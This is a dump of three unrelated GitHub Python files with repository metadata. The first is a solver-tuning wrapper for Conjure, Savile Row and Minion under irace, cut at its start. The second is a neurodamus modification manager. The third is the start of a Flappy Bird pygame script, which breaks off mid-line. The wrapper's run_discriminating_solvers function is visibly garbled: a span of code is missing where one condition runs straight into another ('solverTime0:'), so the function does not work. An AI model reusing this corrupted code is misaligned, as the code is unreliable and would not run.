'-timelimit ' + str(timelimit) + ' ' + flags\n log(cmd)\n\n start = time.time() \n cmdOutput, returnCode = run_cmd(cmd)\n SRTime = time.time() - start\n\n status = 'SRok'\n # if returnCode !=0, check if it is because SR is out of memory or timeout\n if ('GC overhead limit exceeded' in cmdOutput) or ('OutOfMemoryError' in cmdOutput) or ('insufficient memory' in cmdOutput):\n status = 'SRMemOut'\n elif 'Savile Row timed out' in cmdOutput:\n status = 'SRTimeOut'\n # if returnCode != 0 and its not due to a timeout or memory issue raise exception to highlight issue\n elif returnCode != 0:\n raise Exception(cmdOutput)\n\n return status, SRTime\n\n\ndef savilerow_parse_solution(eprimeModelFile, minionSolFile, auxFile, eprimeSolFile):\n #command syntax: savilerow generator.eprime -mode ReadSolution -out-aux output.aux -out-solution sol.test -minion-sol-file test.txt\n cmd = 'savilerow ' + eprimeModelFile + ' -mode ReadSolution -out-aux ' + auxFile + ' -out-solution ' + eprimeSolFile + ' -minion-sol-file ' + minionSolFile\n cmdOutput, returnCode = run_cmd(cmd)\n\n log(cmd)\n if returnCode != 0:\n raise Exception(cmdOutput)\n\n\ndef conjure_translate_solution(eprimeModelFile, paramFile, eprimeSolFile, essenceSolFile):\n cmd = 'conjure translate-solution --eprime=' + eprimeModelFile + ' --essence-param=' + paramFile + ' --eprime-solution=' + eprimeSolFile + ' --essence-solution ' + essenceSolFile\n log(cmd)\n\n cmdOutput, returnCode = run_cmd(cmd)\n\n if returnCode != 0:\n raise Exception(cmdOutput)\n\n\ndef run_minion(minionFile, minionSolFile, seed, timelimit, flags):\n cmd = 'minion ' + minionFile + ' -solsout ' + minionSolFile + ' -randomseed ' + str(seed) + ' -timelimit ' + str(timelimit) + ' ' + flags\n log(cmd)\n\n start = time.time()\n cmdOutput, returnCode = run_cmd(cmd)\n runTime = time.time() - start\n\n # check if minion is timeout or memout\n status = None\n if 'Time out.' in cmdOutput:\n status = 'solverTimeOut'\n elif ('Error: maximum memory exceeded' in cmdOutput) or ('Out of memory' in cmdOutput) or ('Memory exhausted!' in cmdOutput):\n status = 'solverMemOut'\n else:\n if 'Solutions Found: 0' in cmdOutput:\n status = 'unsat'\n else:\n status = 'sat'\n\n if returnCode != 0:\n raise Exception(cmdOutput)\n\n return status, runTime\n\n\ndef read_minion_variables(minionFileSections):\n search_section = minionFileSections['SEARCH']\n for line in search_section:\n if \"PRINT\" in line:\n variables = line.split(\"PRINT\")[1]\n variables = variables.replace(\"[\",\"\").replace(\"]\",\"\")\n return variables\n\n raise Exception(\"Cant find minion ordered variables section\")\n\n\ndef parse_minion_file(minionFile):\n minionFileSections= {}\n lines = []\n file = open(minionFile, 'r')\n current_section = None\n for line in file:\n if \"**\" in line:\n if current_section is not None:\n if line.strip()[0]!='*': # in case the section header is on the same line with the last line of the previous section's content\n s = line[:line.find('*')]\n lines.append(s)\n if current_section in minionFileSections:\n minionFileSections[current_section].extend(lines)\n else:\n minionFileSections[current_section] = lines\n current_section = line.replace(\"*\", \"\").strip()\n lines = []\n continue\n\n lines.append(line)\n\n file.close() \n return minionFileSections\n\n\ndef parse_minion_solution(minionSolFile):\n with open(minionSolFile) as solFile:\n return solFile.read().strip()\n\n\ndef write_out_modified_minion_file(minionFile, minionFileSections):\n file = open(minionFile, 'w')\n minionSectionKeys = ['VARIABLES','SEARCH', 'TUPLELIST', 'CONSTRAINTS']\n file.write(\"MINION 3\\n\")\n for key in minionSectionKeys:\n file.write(\"**{0}**\".format(key) + \"\\n\")\n for value in minionFileSections[key]:\n file.write(value.strip() + \"\\n\")\n\n file.write(\"**EOF**\")\n file.close()\n\n\ndef encode_negative_table(minionFile, minionSolString):\n minionFileSections = parse_minion_file(minionFile)\n\n variables = read_minion_variables(minionFileSections)\n\n #Grab the tuple list from the parsed minion section if it exists\n tuple_list = minionFileSections.get('TUPLELIST', [])\n\n #If the tuple_list is empty this must be the first time running this minion file. Add the negativetable constraint\n if len(tuple_list) == 0:\n minionFileSections['CONSTRAINTS'].append('negativetable([' + variables+ '],negativeSol)')\n #otherwise, remove the first line (negativeSol ...)\n else:\n tuple_list = tuple_list[1:]\n \n # only update minionFile if minion finds a solution, i.e., a new instance is generated\n if minionSolString != '':\n tuple_list.append(minionSolString)\n minionFileSections['TUPLELIST'] = [\"negativeSol {0} {1}\".format(len(tuple_list), len(variables.split(\",\")))]\n minionFileSections['TUPLELIST'].extend(tuple_list)\n write_out_modified_minion_file(minionFile, minionFileSections)\n\n\ndef make_conjure_solve_command(essenceModelFile, eprimeModelFile, instFile, solver, SRTimelimit=0, SRFlags='', solverTimelimit=0, solverFlags='', seed=None):\n # temporary files that will be removed\n lsTempFiles = []\n\n # SROptions string\n SROptionsStr = ''\n if SRTimelimit>0:\n SROptionsStr += '-timelimit ' + str(int(SRTimelimit*1000))\n SROptionsStr += ' ' + SRFlags\n\n # solverInfo string\n solverOptionStr = \"\"\n\n # solver timelimit\n if not solver in solverInfo:\n raise Exception(\"Sorry, solver \" + solver + \" is not yet supported.\")\n opts = solverInfo[solver]\n if solverTimelimit > 0:\n if opts['timelimitUnit'] == 's':\n solverTimelimit = int(solverTimelimit)\n elif opts['timelimitUnit'] == 'ms':\n solverTimelimit = int(solverTimelimit * 1000)\n else:\n raise Exception(\"ERROR: solver \" + solver + \": timelimitUnit \" + opts['timelimitUnit'] + \" not supported\")\n solverOptionStr += opts['timelimitPrefix'] + str(solverTimelimit)\n\n # solver random seed (only when the solver supports passing a random seed, i.e., solverInfo['randomSeedPrefix'] != None\n if (seed != None) and (opts['randomSeedPrefix'] != None):\n if solver == 'cplex': # cplex case is special: we need to create a temporary text file to pass the random seed to cplex \n rndSeedCplexFile = instFile + '.cplexseed'\n with open(rndSeedCplexFile,'wt') as f:\n f.write('CPXPARAM_RandomSeed ' + str(seed))\n lsTempFiles.append(rndSeedCplexFile)\n solverOptionStr += ' --readParam ' + rndSeedCplexFile\n else:\n solverOptionStr += ' ' + opts['randomSeedPrefix'] + str(seed)\n\n # solver flags\n solverOptionStr += ' ' + solverFlags\n\n # conjure solve command\n outDir = os.path.dirname(eprimeModelFile)\n eprimeModelFile = os.path.basename(eprimeModelFile)\n conjureCmd = 'conjure solve ' + essenceModelFile + ' ' + instFile \\\n + ' -o ' + outDir + ' --use-existing-models=' + eprimeModelFile \\\n + ' --savilerow-options \"' + SROptionsStr + '\"' \\\n + ' --solver-options \"' + solverOptionStr + '\"' \\\n + ' --solver=' + solver\n\n return conjureCmd, lsTempFiles\n \n\ndef call_conjure_solve(essenceModelFile, eprimeModelFile, instFile, setting, seed):\n if 'name' in setting:\n solver = setting['name']\n elif 'solver' in setting:\n solver = setting['solver']\n lsTempFiles = []\n\n # make conjure solve command line\n conjureCmd, tempFiles = make_conjure_solve_command(essenceModelFile, eprimeModelFile, instFile, solver, setting['SRTimelimit'], setting['SRFlags'], setting['solverTimelimit'], setting['solverFlags'], seed)\n lsTempFiles.extend(tempFiles)\n\n # call conjure\n print(\"\\nCalling conjure\")\n log(conjureCmd)\n cmdOutput, returnCode = run_cmd(conjureCmd)\n log(cmdOutput)\n\n status = None\n if ('GC overhead limit exceeded' in cmdOutput) or ('OutOfMemoryError' in cmdOutput) or ('insufficient memory' in cmdOutput):\n status = 'SRMemOut'\n elif 'Savile Row timed out' in cmdOutput:\n status = 'SRTimeOut'\n elif 'increase MAX_VARS' in cmdOutput: # what are we checking here???\n status = 'SRMemOut'\n elif ('Error: maximum memory exceeded' in cmdOutput) or ('Out of memory' in cmdOutput) or ('Memory exhausted!' in cmdOutput):\n status = 'solverMemOut'\n elif returnCode != 0:\n raise Exception(cmdOutput)\n\n baseFile = eprimeModelFile.replace('.eprime','') + '-' + os.path.basename(instFile).replace('.param','')\n infoFile = baseFile + '.eprime-info'\n inforFile = baseFile + '.eprime-infor'\n minionFile = baseFile + '.eprime-minion'\n dimacsFile = baseFile + '.eprime-dimacs'\n fznFile = baseFile + '.eprime-param.fzn'\n mznFile = baseFile + '.eprime.mzn'\n eprimeParamFile = baseFile + '.eprime-param'\n eprimeSolutionFile = glob.glob(baseFile + '*.eprime-solution')\n solutionFile = glob.glob(baseFile + '*.solution')\n solutionFile.extend(glob.glob(os.path.basename(baseFile) + '.solution')) # in case conjure doesn't generate essence solution file within the folder of eprime model\n lsTempFiles.extend([inforFile, minionFile, dimacsFile, mznFile, fznFile, eprimeParamFile, eprimeSolutionFile, solutionFile])\n\n print(\"Waiting for \" + infoFile)\n\n # Wait a maximum of 60s for SR-info file to appear \n if status != 'SRMemOut':\n max_wait = 60\n while True:\n if os.path.isfile(infoFile):\n break\n elif max_wait <= 0:\n os.stat(infoFile)\n raise Exception(\"Waited max time for SR-info file to appear {0}\".format(infoFile))\n else:\n time.sleep(1)\n max_wait -= 1\n\n if os.path.isfile(infoFile):\n # rename infoFile so that it includes random seed and solver name\n newInfoFile = baseFile + '-seed_' + str(seed) + '-' + solver + '.eprime-info'\n print(\"Renaming SR info file: \" + infoFile + \" -> \" + newInfoFile)\n if os.path.isfile(infoFile):\n os.rename(infoFile, newInfoFile)\n infoFile = newInfoFile\n \n # parse SR info file\n status, SRTime, solverTime = parse_SR_info_file(infoFile, timelimit=setting['solverTimelimit'])\n\n deleteFile(lsTempFiles)\n return status, SRTime, solverTime\n\n\ndef parse_SR_info_file(fn, knownSolverMemOut=False, timelimit=0): \n lsLines = read_file(fn)\n \n def get_val(field):\n ls = search_string(field, lsLines)\n if len(ls)>0:\n return ls[0].split(':')[1].strip()\n else:\n return None\n \n # initial assumptions\n SRTime = 0\n solverTime = 0\n status = None\n\n # SR status\n if get_val('SavileRowTimeOut') == \"1\" or get_val('SavileRowClauseOut')==1:\n status = \"SRTimeOut\"\n \n # SR time and solver time\n if get_val('SavileRowTotalTime') != None:\n SRTime = float(get_val('SavileRowTotalTime'))\n if get_val('SolverTotalTime') != None:\n solverTime = float(get_val('SolverTotalTime'))\n\n # solver status\n if status != \"SRTimeOut\":\n\n # if solver is out of memory because of runsolver, SR will write an info file with solverTimeOut=1. We'll fix it and return.\n if knownSolverMemOut:\n status = 'solverMemOut'\n return status, SRTime, solverTime\n\n if get_val('SolverMemOut') == \"1\":\n status = 'solverMemOut'\n elif get_val('SolverTimeOut') == \"1\":\n status = 'solverTimeOut'\n elif get_val('SolverNodeOut') == \"1\":\n status = 'solverNodeOut'\n else:\n if timelimit>0 and solverTime>timelimit: # for the case when solver timeout but SR reports SolverTimeOut=0 (happens with minizinc atm)\n status = 'solverTimeOut'\n elif get_val('SolverSatisfiable') == \"1\":\n status = 'sat'\n else:\n status = 'unsat'\n return status, SRTime, solverTime\n\n\ndef run_single_solver(instFile, seed, setting):\n essenceModelFile = './problem.essence'\n eprimeModelFile = detailedOutputDir + '/problem.eprime'\n instance = os.path.basename(instFile).replace('.param','')\n solver = setting['solver']\n\n score = None\n print('\\n')\n log(\"Solving \" + instFile + '...')\n\n status = 'ok'\n lsSolverTime = []\n for i in range(setting['nEvaluations']):\n rndSeed = seed + i\n print(\"\\n\\n----------- With random seed \" + str(i) + 'th (' + str(rndSeed) + ')')\n runStatus, SRTime, solverTime = call_conjure_solve(essenceModelFile, eprimeModelFile, instFile, setting, rndSeed)\n\n # print out results\n localVars = locals()\n log(\"\\nRun results: solverType=\" + solver + ', solver=' + solver + ', instance=' + instance + ', runId=' + str(i) \\\n + ', '.join([s + '=' + str(localVars[s]) for s in ['runStatus','SRTime','solverTime']])) \n \n # make score\n\t# inst unwanted type: score=1\n if (setting['gradedTypes']!='both') and (runStatus in ['sat','unsat']) and (runStatus!=setting['gradedTypes']):\n print(\"\\nunwanted instance type. Quitting!...\")\n score = 1\n stop = True\n status = 'unwantedType'\n break\n\t# SR timeout or SR memout: score=1\n if runStatus in ['SRTimeOut','SRMemOut']:\n print(\"\\nSR timeout/memout while translating the instance. Quitting!...\")\n score = 1\n status = runStatus\n break\n\t# solverTimeout or solverMemOut: score=0\n if runStatus in ['solverTimeOut','solverMemOut']:\n print(\"\\nsolver timeout or out of memory. Quitting!...\")\n score = 0\n status = runStatus\n break\n lsSolverTime.append(solverTime)\n\n # summary of results\n meanSolverTime = 0\n if status == 'ok':\n meanSolverTime = sum(lsSolverTime)/len(lsSolverTime)\n if meanSolverTime < setting['solverMinTime']:\n status = 'tooEasy'\n else:\n status = 'graded'\n s = \"\\nInstance summary: instance=\" + instance + ', status=' + status + ', meanSolverTime=' + str(meanSolverTime)\n print(s)\n \n # make final score\n if score != None:\n return score \n # - otherwise, for each evaluation: if the run is too easy: score=-solverTime, if the run is graded: score=nEvaluations*-solverMinTime\n score = 0\n for i in range(len(lsSolverTime)):\n if lsSolverTime[i] < setting['solverMinTime']:\n score -= lsSolverTime[i]\n else:\n score -= setting['nEvaluations'] * setting['solverMinTime']\n return score\n\n\ndef read_args(args):\n #### read arguments (following irace's wrapper input format) ###\n k = 1\n configurationId = int(args[k])\n k = k + 2 # skip second argument (<1>) \n seed = int(args[k])\n k = k + 2 # skip 4th argument (dummy instance name)\n params = args[k:]\n paramDict = {} # generator parameter values suggested by irace\n for i in range(0,len(params),2):\n paramDict[params[i][1:]] = params[i+1]\n\n log(' '.join(args))\n\n # update param values of log-transformed params, since irace doesn't support non-positive values for those params\n metaFile = None\n if os.path.isfile('./params.irace.meta'):\n metaFile = './params.irace.meta'\n if metaFile is not None:\n with open(metaFile,'rt') as f:\n lsMeta = f.readlines()\n for ln in lsMeta:\n ln = ln[0:-1]\n param = ln.split(' ')[0]\n delta = int(ln.split(' ')[1])\n paramDict[param] = str(int(paramDict[param]) - delta)\n\n return configurationId, seed, paramDict\n\n\ndef read_setting(settingFile):\n if os.path.isfile(settingFile) is False:\n print(\"ERROR: setting file \" + settingFile + \" is missing.\")\n sys.exit(1)\n with open(settingFile) as f:\n setting = json.load(f)\n return setting\n\n\ndef solve_generator(configurationId, paramDict, setting, seed):\n ### create a new instance by solving a generator instance ###\n # we need to make sure that we don't create an instance more than once from the same generator instance\n # this is done by generating the minion instance file only once, and everytime a new solution is created, it'll be added to a negative table in the minion file\n # NOTE 1: we save the generated minion file because we want to save SR time next time the same configuration is run by irace. However, this increases the storage memory used during the tuning, as those minion files can be huge!\n # NOTE 2: the generated solution will only added to the minion file at the end of a wrapper run (when the corresponding problem instance is successfully taken by the considered target solvers) by calling function save_generator_solution. This is to make sure that if a run is unsuccessful and terminated, the same instance will be generated when the tuning is resumed.\n\n # write generator instance to an essence instance file\n paramFile = detailedOutputDir + '/gen-inst-' + str(configurationId) + '.param'\n print('\\n')\n log(\"Creating generator instance: \" + paramFile) \n lsLines = ['letting ' + key + ' be ' + str(val) for key, val in paramDict.items()]\n with open(paramFile, 'wt') as f:\n f.write('\\n'.join(lsLines))\n \n # files used/generated during the solving process\n eprimeModelFile = detailedOutputDir + \"/generator.eprime\"\n baseFileName = paramFile.replace('.param','')\n minionFile = baseFileName + '.minion' # minion input file, including a negative table saving previously generated solutions of the same generator instance\n minionSolFile = baseFileName + '.solution' # solution file generated by minion, will be removed afterwards\n auxFile = baseFileName + '.aux' # aux file generated by SR, will be kept so we don't have to re-generate it next time solving the same generator instance\n eprimeSolFile = baseFileName + '.solution.eprime-param' # eprime solution file created by SR, will be removed afterwards\n essenceSolFile = baseFileName + '.solution.param' # essence solution file created by conjure, will be returned as a problem instance\n minionSolString = '' # content of minion solution file, to be added to minion negative table in minionFile\n \n # status of the solving\n genStatus = None # SRTimeOut/SRMemOut/solverTimeOut/solverMemOut/sat/unsat\n\n # if the generator instance is solved for the first time\n if (not os.path.exists(minionFile)) or (os.stat(minionFile).st_size == 0):\n eprimeParamFile = baseFileName + '.eprime-param'\n conjure_translate_parameter(eprimeModelFile, paramFile, eprimeParamFile) # translate generator instance from Essence to Essence Prime\n genStatus, genSRTime = savilerow_translate(auxFile, eprimeModelFile, eprimeParamFile, minionFile, setting['genSRTimelimit']*1000, setting['genSRFlags']) # translate generator instance from Essence Prime to minion input format\n os.remove(eprimeParamFile)\n else:\n genStatus = 'SRok'\n genSRTime = 0\n\n # start solving it\n if genStatus == 'SRok':\n genStatus, genSolverTime = run_minion(minionFile, minionSolFile, seed, setting['genSolverTimelimit'], setting['genSolverFlags'])\n if genStatus == 'sat':\n minionSolString = parse_minion_solution(minionSolFile)\n savilerow_parse_solution(eprimeModelFile, minionSolFile, auxFile, eprimeSolFile) # parse solution from minion to Essence Prime\n conjure_translate_solution(eprimeModelFile, paramFile, eprimeSolFile, essenceSolFile) # parse solution from Essence Prime to Essence\n deleteFile([minionSolFile,eprimeSolFile]) # delete minionSolFile after used, otherwise the negativetable will have duplicated items. eprimeSolFile is removed to make sure that in the next runs, if no solution is found by minion, no Essence solution file is created\n else:\n genSolverTime = 0\n\n # print out results of the generator solving process\n localVars = locals()\n print('\\n')\n log(\"\\nGenerator results: genInstance=\" + os.path.basename(paramFile).replace('.param','') + ', ' + ', '.join([name + '=' + str(localVars[name]) for name in ['genStatus','genSRTime','genSolverTime']]))\n \n return genStatus, essenceSolFile, minionFile, minionSolString\n\n\ndef run_discriminating_solvers(instFile, seed, setting): \n ### evaluate a generated instance based on discriminating power with two solvers ###\n # NOTE: \n # - this function can be improved using parallelisation, as there are various cases in the scoring where runs can be safely terminated before they finished. Things to consider\n # + gnu-parallel for implementation\n # + runsolver for safely terminating a solver run\n \n # scoring scheme for discriminating solvers:\n # - gen unsat/SR memout/SR timeout: Inf\n # - gen solver timeout: 2\n # - inst unwanted type or SR timeout (either solver): 1 (ISSUE: with this new implementation, we can't recognise SR timeout, so we treat it as both solver timeout, i.e., score=0)\n # - favoured solver timeout (any run) or base solver too easy (any run): 0\n # - otherwise: max{-minRatio, -baseSolver/favouredSolver}\n # - note: if minRatio>0, ideally we should set timelimit_baseSolver = minRatio * timelimit_favouredSolver\n\n essenceModelFile = './problem.essence'\n eprimeModelFile = detailedOutputDir + '/problem.eprime'\n instance = os.path.basename(instFile).replace('.param','')\n \n score = None\n print('\\n')\n log(\"Solving \" + instFile + '...')\n\n # solve the instance using each solver\n stop = False # when to stop the evaluation early\n lsSolvingTime = {} # solving time of each solver per random seed\n lsSolvingTime['favouredSolver'] = []\n lsSolvingTime['baseSolver'] = []\n for i in range(setting['nEvaluations']):\n rndSeed = seed + i \n \n status = 'ok'\n for solver in ['favouredSolver','baseSolver']:\n solverSetting = setting[solver]\n print(\"\\n\\n---- With random seed \" + str(i) + 'th (' + str(rndSeed) + ') and solver ' + solverSetting['name'] + ' (' + solver + ')')\n \n runStatus, SRTime, solverTime = call_conjure_solve(essenceModelFile, eprimeModelFile, instFile, solverSetting, rndSeed)\n localVars = locals()\n log(\"\\nRun results: solverType=\" + solver + ', solver=' + solverSetting['name'] + ', instance=' + instance + ', runId=' + str(i) + ', '\\\n + ', '.join([s + '=' + str(localVars[s]) for s in ['runStatus','SRTime','solverTime']]))\n \n lsSolvingTime[solver].append(solverTime)\n \n #------------ update score\n # inst unwanted type: score=1\n if (setting['gradedTypes']!='both') and (runStatus in ['sat','unsat']) and (runStatus!=setting['gradedTypes']):\n print(\"\\nunwanted instance type. Quitting!...\")\n score = 1\n stop = True\n status = 'unwantedType'\n break\n # SR timeout or SR memout: score=1\n if runStatus in ['SRTimeOut','SRMemOut']:\n print(\"\\nSR timeout/memout while translating the instance. Quitting!...\")\n score = 1\n stop = True\n status = runStatus\n break\n # favoured solver timeout (any run) or base solver too easy (any run): score=0\n if (solver=='favouredSolver') and (runStatus=='solverTimeOut'):\n print(\"\\nfavoured solver timeout. Quitting!...\")\n score = 0\n stop = True\n status = 'favouredTimeOut'\n break\n if (solver=='baseSolver') and (solverTime0:\n favouredSolverTotalTime = sum(lsSolvingTime['favouredSolver'])\n if len(lsSolvingTime['baseSolver'])>0:\n baseSolverTotalTime = sum(lsSolvingTime['baseSolver'])\n s = \"\\nInstance summary: instance=\" + instance + ', status=' + status + ', favouredSolverTotalTime=' + str(favouredSolverTotalTime) + ', baseSolverTotalTime=' + str(baseSolverTotalTime) + ', ratio=' + str(ratio)\n print(s)\n \n return score\n\n\ndef print_score(startTime, score):\n # print summary results and the score (i.e., feedback to irace)\n totalWrapperTime = time.time() - startTime\n print(\"\\nTotal wrapper time: \" + str(totalWrapperTime))\n print(\"\\nTuning results: \")\n print(str(score) + ' ' + str(np.round(totalWrapperTime,2)))\n\n\ndef main():\n startTime = time.time()\n\n # parse arguments\n configurationId, seed, paramDict = read_args(sys.argv)\n\n # set random seed\n random.seed(seed)\n\n # read all setting\n setting = read_setting('./setting.json')\n\n # solve the generator problem\n genStatus, genSolFile, genMinionFile, genMinionSolString = solve_generator(configurationId, paramDict, setting['generatorSettings'], seed)\n\n # if no instance is generated, return immediately\n if genStatus != 'sat':\n print('No instance file generated. Exitting...')\n # determine the score\n if genStatus != 'solverTimeOut':\n score = 'Inf' # if the generator configuration is unsat/SRTimeOut/SRMemOut/solverMemOut, return \"Inf\", so that irace will discard this configuration immediately\n else:\n score = 2 # if the generator configuration is unsolved because minion timeout, penalise it heavier than any other cases where the generator configuration is sat\n # print out score and exit\n print_score(startTime, score)\n return\n \n # if an instance is generated, move on and evaluate it\n instFile = detailedOutputDir + '/inst-' + str(configurationId) + '-' + str(seed) + '.param'\n move(genSolFile, instFile)\n\n experimentType = setting['generalSettings']['experimentType']\n\n # evaluate the generated instance based on gradedness (single solver)\n if experimentType == 'graded':\n score = run_single_solver(instFile, seed, setting['evaluationSettings'])\n\n # evaluate the generated instance based on discriminating power (two solvers)\n elif experimentType == 'discriminating':\n score = run_discriminating_solvers(instFile, seed, setting['evaluationSettings'])\n\n else:\n raise Exception(\"ERROR: invalid experimentType: \" + experimentType)\n\n # add the generated instance into generator's minion negative table, so that next time when we solve this generator instance again we don't re-generate the same instance\n encode_negative_table(genMinionFile, genMinionSolString)\n\n # print out score and exit\n print_score(startTime, score)\n\n\nmain()\n\n# scoring for graded instances (single solver)\n# - gen unsat/SRTimeOut/SRMemOut/solverMemOut: Inf\n# - gen solverTimeout: 2\n# - inst unwanted type or SR timeout/memout: 1\n# - solver timeout/memout: 0\n# - otherwise, for each evaluation:\n# + too easy: -solverTime\n# + graded: nEvaluations * -solverMinTime\n# and sum them up for final score\n\n# scoring for discriminating instances (two solvers)\n# - gen unsat/SRTimeOut/SRMemOut/solverMemOut: Inf\n# - gen solverTimeOut: 2\n# - inst unwanted type or SR timeout/memout (either solver): 1\n# - favoured solver timeout (any run) or base solver too easy (any run): 0\n# - otherwise: max{-minRatio, -badSolver/goodSolver}\n# - note: timelimit_badSolver = minRatio * timelimit_goodSolver\n","repo_name":"stacs-cp/CPAIOR2020-InstanceGen","sub_path":"scripts/tuning-files/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":32885,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"36435987061","text":"import ast\nimport logging\nfrom .core import NeurodamusCore as Nd\nfrom .core.configuration import ConfigurationError\nfrom .utils.logging import log_verbose\n\n\nclass ModificationManager:\n\n \"\"\"\n A manager for circuit Modifications.\n Overrides HOC manager, as the only Modification there (TTX) is outdated.\n \"\"\"\n\n _mod_types = {} # modification handled in Python\n\n def __init__(self, target_manager):\n self._target_manager = target_manager\n self._modifications = []\n\n def interpret(self, target_spec, mod_info):\n mod_t_name = mod_info[\"Type\"]\n mod_t = self._mod_types.get(mod_t_name)\n if not mod_t:\n raise ConfigurationError(\"Unknown Modification {}\".format(mod_t_name))\n target = self._target_manager.get_target(target_spec)\n cell_manager = self._target_manager.hoc.cellDistributor\n mod = mod_t(target, mod_info, cell_manager)\n self._modifications.append(mod)\n\n @classmethod\n def register_type(cls, mod_class):\n \"\"\" Registers a new class as a handler for a new modification type \"\"\"\n cls._mod_types[mod_class.__name__] = mod_class\n return mod_class\n\n\n@ModificationManager.register_type\nclass TTX:\n \"\"\"\n Applies sodium channel block to all sections of the cells in the given target\n\n Uses TTXDynamicsSwitch as in BGLibPy. Overrides HOC version, which is outdated\n \"\"\"\n def __init__(self, target, mod_info: dict, cell_manager):\n if target.isCellTarget(): # get all compartments for each cell\n tpoints = self.compartment_cast(target, \"\").getPointList(cell_manager)\n else: # use compartments present in target\n tpoints = target.getPointList(cell_manager)\n\n # insert and activate TTX mechanism in all sections of each cell in target\n for tpoint_list in tpoints:\n for sec_id, sc in enumerate(tpoint_list.sclst):\n if not sc.exists(): # skip sections not on this split\n continue\n sec = sc.sec\n if not Nd.ismembrane(\"TTXDynamicsSwitch\", sec=sec):\n sec.insert(\"TTXDynamicsSwitch\")\n sec.ttxo_level_TTXDynamicsSwitch = 1.0\n\n def compartment_cast(self, target, subset):\n if subset not in (\"soma\", \"apic\", \"dend\", \"\"):\n raise Exception(\"Unknown subset {} in compartment_cast\".format(subset))\n\n wrapper = Nd.Target(\"temp\", \"Compartment\")\n wrapper.subtargets.append(target)\n wrapper.targetSubsets.append(Nd.String(subset))\n wrapper.targetExtraValues.append(Nd.Vector())\n return wrapper\n\n\n@ModificationManager.register_type\nclass ConfigureAllSections:\n \"\"\"\n Perform one or more assignments involving section attributes,\n for all sections that have all the referenced attributes.\n\n Use case is modifying mechanism variables from config.\n \"\"\"\n def __init__(self, target, mod_info: dict, cell_manager):\n config, config_attrs = self.parse_section_config(mod_info['SectionConfigure'])\n\n if target.isCellTarget(): # get all compartments for each cell\n tpoints = self.compartment_cast(target, \"\").getPointList(cell_manager)\n else: # use compartments present in target\n tpoints = target.getPointList(cell_manager)\n\n napply = 0 # number of sections where config applies\n # change mechanism variable in all sections that have it\n for tpoint_list in tpoints:\n for _, sc in enumerate(tpoint_list.sclst):\n if not sc.exists(): # skip sections not on this split\n continue\n sec = sc.sec\n if all(hasattr(sec, x) for x in config_attrs): # if has all attributes\n exec(config, {'__builtins__': None}, {'sec': sec}) # unsafe but sanitized\n napply += 1\n\n log_verbose(\"Applied to {} sections\".format(napply))\n\n if napply == 0:\n logging.warning(\"ConfigureAllSections applied to zero sections, \"\n \"please check its SectionConfigure for possible mistakes\")\n\n def compartment_cast(self, target, subset):\n if subset not in (\"soma\", \"apic\", \"dend\", \"\"):\n raise Exception(\"Unknown subset {} in compartment_cast\".format(subset))\n\n wrapper = Nd.Target(\"temp\", \"Compartment\")\n wrapper.subtargets.append(target)\n wrapper.targetSubsets.append(Nd.String(subset))\n wrapper.targetExtraValues.append(Nd.Vector())\n return wrapper\n\n def parse_section_config(self, config):\n config = config.replace('%s.', '__sec_wildcard__.') # wildcard to placeholder\n all_attrs = self.AttributeCollector()\n tree = ast.parse(config)\n for elem in tree.body: # for each semicolon-separated statement\n # check assignment targets\n for tgt in self.assignment_targets(elem):\n # must be single assignment of a __sec_wildcard__ attribute\n if not isinstance(tgt, ast.Attribute) or tgt.value.id != '__sec_wildcard__':\n raise ConfigurationError(\"SectionConfigure only supports single assignments \"\n \"of attributes of the section wildcard %s\")\n all_attrs.visit(elem) # collect attributes in assignment\n config = config.replace('__sec_wildcard__.', 'sec.') # placeholder to section variable\n\n return config, all_attrs.attrs\n\n class AttributeCollector(ast.NodeVisitor):\n \"\"\"Node visitor collecting all attribute names in a set\"\"\"\n attrs = set()\n\n def visit_Attribute(self, node):\n self.attrs.add(node.attr)\n\n def assignment_targets(self, node):\n if isinstance(node, ast.Assign):\n return node.targets\n elif isinstance(node, ast.AugAssign):\n return [node.target]\n else:\n raise ConfigurationError(\"SectionConfigure must consist of one or more \"\n \"semicolon-separated assignments\")\n","repo_name":"BlueBrain/neurodamus","sub_path":"neurodamus/modification_manager.py","file_name":"modification_manager.py","file_ext":"py","file_size_in_byte":6054,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"22707913830","text":"import pygame\nfrom pygame.locals import *\nfrom random import randint\nfrom button_pygame import button\n\npygame.init()\n\n\ndef tela_inicial():\n largura = 400\n altura = 600\n screen = pygame.display.set_mode((largura, altura))\n pygame.display.set_caption('Flappy Bird')\n inicio = True\n while inicio:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE or event.key == K_SPACE:\n inicio = False\n fundo = pygame.image.load('./images/fundo_flappy.png')\n fundo = pygame.transform.scale(fundo, (largura, altura))\n screen.blit(fundo, (0, 0))\n chao = pygame.image.load('./images/chao_flappy.png')\n chao = pygame.transform.scale(chao, (largura, 50))\n screen.blit(chao, (0, altura - chao.get_height()))\n\n font = pygame.font.Font(None, 80)\n titulo_text = font.render('Flappy Bird', True, (0, 0, 0))\n rect_titulo_texto = titulo_text.get_rect(center=(200, 250))\n screen.blit(titulo_text, rect_titulo_texto)\n\n if button(70, 'Jogar', (200, 400), 'black', 'white', screen, 'white', (255, 100, 0)):\n inicio = False\n\n pygame.display.flip()\n\n\ndef play():\n largura = 400\n altura = 600\n screen = pygame.display.set_mode((largura, altura))\n clock = pygame.time.Clock()\n pygame.display.set_caption('Flappy Bird')\n gravidade = 1\n velocity = 10\n tela_game_over = False\n imagens = ['./images/flappy_up.png', './images/flappy_mid.png',\n './images/flappy_down.png']\n\n class Jogador(pygame.sprite.Sprite):\n def __init__(self):\n super(Jogador, self).__init__()\n self.atual = 0\n self.surf = pygame.image.load(imagens[self.atual])\n self.rect = self.surf.get_rect(center=(200, 100))\n self.velocity = velocity\n\n def update(self):\n self.atual = (self.atual + 1) % 3\n self.surf = pygame.image.load(imagens[self.atual])\n self.velocity += gravidade\n self.rect[1] += self.velocity\n\n def pulo(self):\n self.velocity = -velocity\n\n class Cano(pygame.sprite.Sprite):\n def __init__(self):\n super(Cano, self).__init__()\n alturaCanoCima = randint(50, 350)\n alturaCanoBaixo = 450 - alturaCanoCima\n self.posY = 600 - alturaCanoBaixo\n self.surf_Cima = pygame.image.load('./images/cano_flappy.png')\n self.surf_Baixo = 